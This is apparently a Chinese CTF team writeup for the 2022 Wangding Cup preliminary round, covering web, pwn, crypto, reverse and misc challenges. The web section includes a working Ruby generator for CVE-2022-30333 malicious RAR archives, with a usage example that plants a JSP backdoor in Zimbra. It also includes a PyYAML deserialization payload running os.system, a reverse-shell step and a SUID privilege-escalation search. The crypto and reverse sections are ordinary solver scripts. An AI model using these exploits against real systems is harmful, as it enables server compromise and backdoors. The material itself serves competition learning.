Back

2022网鼎杯初赛 Writeup by or4nge

wdbCTF2022 16th,Crypto AK~

Web

web669

审源码,发现存在路径穿越(双写绕过过滤); 读/etc/hosts,找到secret-key为engine-1,用flask-session-manager跑出来管理员的session 文件上传unrar任意写漏洞(CVE-2022-30333),ruby脚本跑一下,上传。注意md5值。

require 'zlib'
if ARGV.length != 2
  $stderr.puts "Usage: ruby ./create-payload <../../target/file> <filename to read payload from>"
  $stderr.puts
  $stderr.puts "Eg: $ ruby ./create-payload.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./reverse-tcp-4444.jsp"
  exit
end
SYMLINK_LENGTH = 0x68
PAYLOAD_SYMLINK = (ARGV[0] + "\0").ljust(SYMLINK_LENGTH, "\0").gsub('/', '\\')
if PAYLOAD_SYMLINK.length != SYMLINK_LENGTH
  $stderr.puts "Payload symlink is invalid, probably too long!"
  exit
end
PAYLOAD_LENGTH = 0x1000
PAYLOAD_DATA = File.read(ARGV[1]).ljust(4096, "\0")
if PAYLOAD_DATA.length != PAYLOAD_LENGTH
  $stderr.puts "Payload data is invalid, probably too long!"
  exit
end
FILENAME_LENGTH = 0x0c
FILENAME = "DONTLOOKATME"
RAR = "\x52\x61\x72\x21\x1a\x07\x01\x00\xf3\xe1\x82\xeb\x0b\x01\x05\x07\x00\x06\x01\x01\x80\x80\x80\x00\x9e\xe2\xc4\xf5\x94\x01\x02\x03\x78\x00\x04\x00\xa0\x08\x00\x00\x00\x00\x80\x00\x00\x0c"
RAR.concat(FILENAME) # Symlink filename
RAR.concat("\x0a\x03\x02\xae\xf0\x37\x1c\x91\x98\xd8\x01\x6c\x05\x02\x00\x68")
RAR.concat(PAYLOAD_SYMLINK)
RAR.concat("\xf3\xa1\x93\x68\x28\x02\x03\x0b\x80\x20\x04\x80\x20\x20")
RAR.concat([Zlib::crc32(PAYLOAD_DATA)].pack('V'))
RAR.concat("\x80\x00\x00\x0c")
RAR.concat(FILENAME) # Data filename (same as symlink to overwrite it)
RAR.concat("\x0a\x03\x02\x00\x36\xe3\x00\x91\x98\xd8\x01")
RAR.concat(PAYLOAD_DATA)
RAR.concat("\x1d\x77\x56\x51\x03\x05\x04\x00")
print RAR
ruby ./cve-2022-30333.rb '../../../../fileinfo/ebfcb737ca3d64fc30f0e589007d4f58.yaml' ./test.yaml > 3.rar

左右括号和system用编码绕,tuple用bytes绕

!!python/object/new:bytes
- !!python/object/new:map
  - !!python/name:eval
  - ["__import__\x28'os'\x29.\x73ystem\x28'【command】'\x29"]

访问/payload?display=3 反弹shell

find / -user root -perm -4000 -print 2>/dev/null

看到dd有suid dd if=/flag即可

Pwn

pwn497

非预期做法,在文件系统里漫游尝试到一个可执行文件/lib/systemd/systemd-modules-load,使用它执行flag即可得解

/lib/systemd/systemd-modules-load flag

Crypto

crypto091

查询可得1709号段为联通的最初号码,用以下脚本爆破可得答案。

import hashlib

hv = 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'
i = 0
while True:
    psw = '861709'
    psw += str(i).zfill(7)
    m = hashlib.sha256()
    m.update(psw.encode())
    res = m.hexdigest()
    print(psw, res)
    if res == hv:
        break
    i += 1

crypto405

用脚本处理txt

f = open('output.txt', 'r')
l = []
for i in range(41):
    rl = f.readline()
    numStr = rl[15:19]
    l.append(int(numStr, 16))

由提示flag{为前5字符,未知数也有5个,可通过方程得$k$参数。$p$不知道,但范围只有30000+,尝试爆破,后来发现$p$至少大于57000,由$\mod p$后的最大值可得,爆破范围只有8000+,爆破即得答案。

rl = [8294, 41506, 52145, 56244, 57012, 45509, 13220, 49233, 15225, 27640, 8497, 11328, 37306, 31556, 24357, 520, 32475,
      25269, 52933, 23219, 15430, 49778, 29003, 40459, 18670, 17612, 1440, 15779, 4529, 9631, 35229, 41264, 58767, 9203,
      22569, 27627, 13953, 84, 41353, 10085, 50749]


def MillerRabinTest(p, k=10):
    from random import randint
    if p < 2:
        return False
    if p <= 3:
        return True
    if p & 1 == 0:
        return False
    s = 0
    m = p - 1
    while m and m & 1 == 0:
        s += 1
        m >>= 1
    for j in range(k):
        randomi = randint(2, p - 2)
        if gcd(randomi, p) != 1:
            return False
        b = pow(randomi, m, p)
        if b == 1 or b == p - 1:
            continue
        for i in range(s - 1):
            b = pow(b, 2, p)
            if b == 1:
                return False
            if b == p - 1:
                break
        else:
            return False
    return True


rn = [ord('f'), ord('l'), ord('a'), ord('g'), ord('{')]
p = 57000
while True:
    flag=''
    if MillerRabinTest(p):
        eqs=[]
        kt=[]
        kl=[]
        R=GF(p)
        k=list(var('k_%d'%i) for i in range(5))
        for i in range(5):
            kt.append(k[i])
        for i in range(5):
            if i!=0:
                kt[0]=rn[i-1]*kt[0]
                kt[1]*=kt[0]
                kt[2]*=kt[1]
                kt[3]*=kt[2]
                kt[4]*=kt[3]
            le=rn[i]*kt[0]*kt[1]*kt[2]*kt[3]*kt[4]
            equ=(le==rl[i])
            eqs.append(equ)
        res=solve(eqs,k,solution_dict=True)
        for i in range(5):
            tmp=res[0][k[i]]
            ktmp=R(tmp.numerator())*R(tmp.denominator())^(-1)
            kl.append(ktmp)
        pd=0
        for i in range(41):
            ks=kl[0]*kl[1]*kl[2]*kl[3]*kl[4]
            cr=R(rl[i])*(ks)^(-1)
            flag+=str(chr(int(cr)))
            if 31<cr<128:
                kl[0]=cr*kl[0]
                kl[1]*=kl[0]
                kl[2]*=kl[1]
                kl[3]*=kl[2]
                kl[4]*=kl[3]
            else:
                pd=1
                print(i)
                break
        if pd==0:
            print(kl)
            print(p)
            print(flag)
            break
        print(p)
    p += 1

crypto162

递推可划为矩阵乘法。正向是矩阵乘法。 矩阵乘法有$O(log n)$级的算法。故可以解决。 矩阵快速幂:

cof_t = [[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468],
         [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447],
         [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477],
         [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949],
         [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321],
         [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410],
         [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953],
         [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739],
         [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237],
         [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716],
         [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298],
         [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057],
         [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009],
         [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926],
         [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351],
         [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859],
         [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088],
         [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558],
         [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654],
         [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]]

sum=0
for i in range(100):
    M=matrix([cof_t[i],[1,0,0],[0,1,0]])
    Mf=M^(200000-2)
    v = matrix(3,1,[3,2,1])
    vf=Mf*v
    sum+=vf[0][0]
print(str(sum)[-2000:-1000])

解密得flag:

from hashlib import md5, sha256
s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
key = md5(s.encode()).hexdigest()
key = bytes.fromhex(key)
check = sha256(key).hexdigest()
print(check)
from Crypto.Cipher import AES
from hashlib import md5, sha256
s = '8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748'
key = md5(s.encode()).hexdigest()
key = bytes.fromhex(key)
aes = AES.new(key, AES.MODE_ECB)
data = '4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87'
data=bytes.fromhex(data)
print(aes.decrypt(data))

Reverse

re694

动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分

分析发现,该代码块调用多处加密,具体为0x1400119B0,0x140011840 加密过程易得为

s[i]=((s[i]^0x66)+10)^0x50

与结果数组比较即可

a = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A, 0x79,
     0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64]
for i in a:
    print(chr(((i ^ 0x50)-10) ^ 0x66), end='')

re693

转换初始数组或编译运行程序得到print内容为

Input the first function, which has 6 parameters and the third named gLIhR:
Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:

第一处提示可直接搜索函数得到对应的函数名:ZlXDJkH3OZN4Mayd 第二处提示可使用脚本搜索

text = open('challenge', 'r').read().split('\n\n')
text2 = [i.split('\n') for i in text]

for i in text2:
    if len(i) == 6:
        x = i[4].split('(')[0][-16:]
        if i[4].split('(')[0][-16:] == 'cHZv5op8rOmlAkb6':
            str1 = i[0].split(' ')[1][:-2]
            time = 0
            for j in text2:
                for k in j:
                    if k.find(str1) > -1:
                        time += 1
            if time == 6:
                print(str1)

得到两处函数名,在程序输入即可

Misc

签到

知识问答。搜索答案提交即可。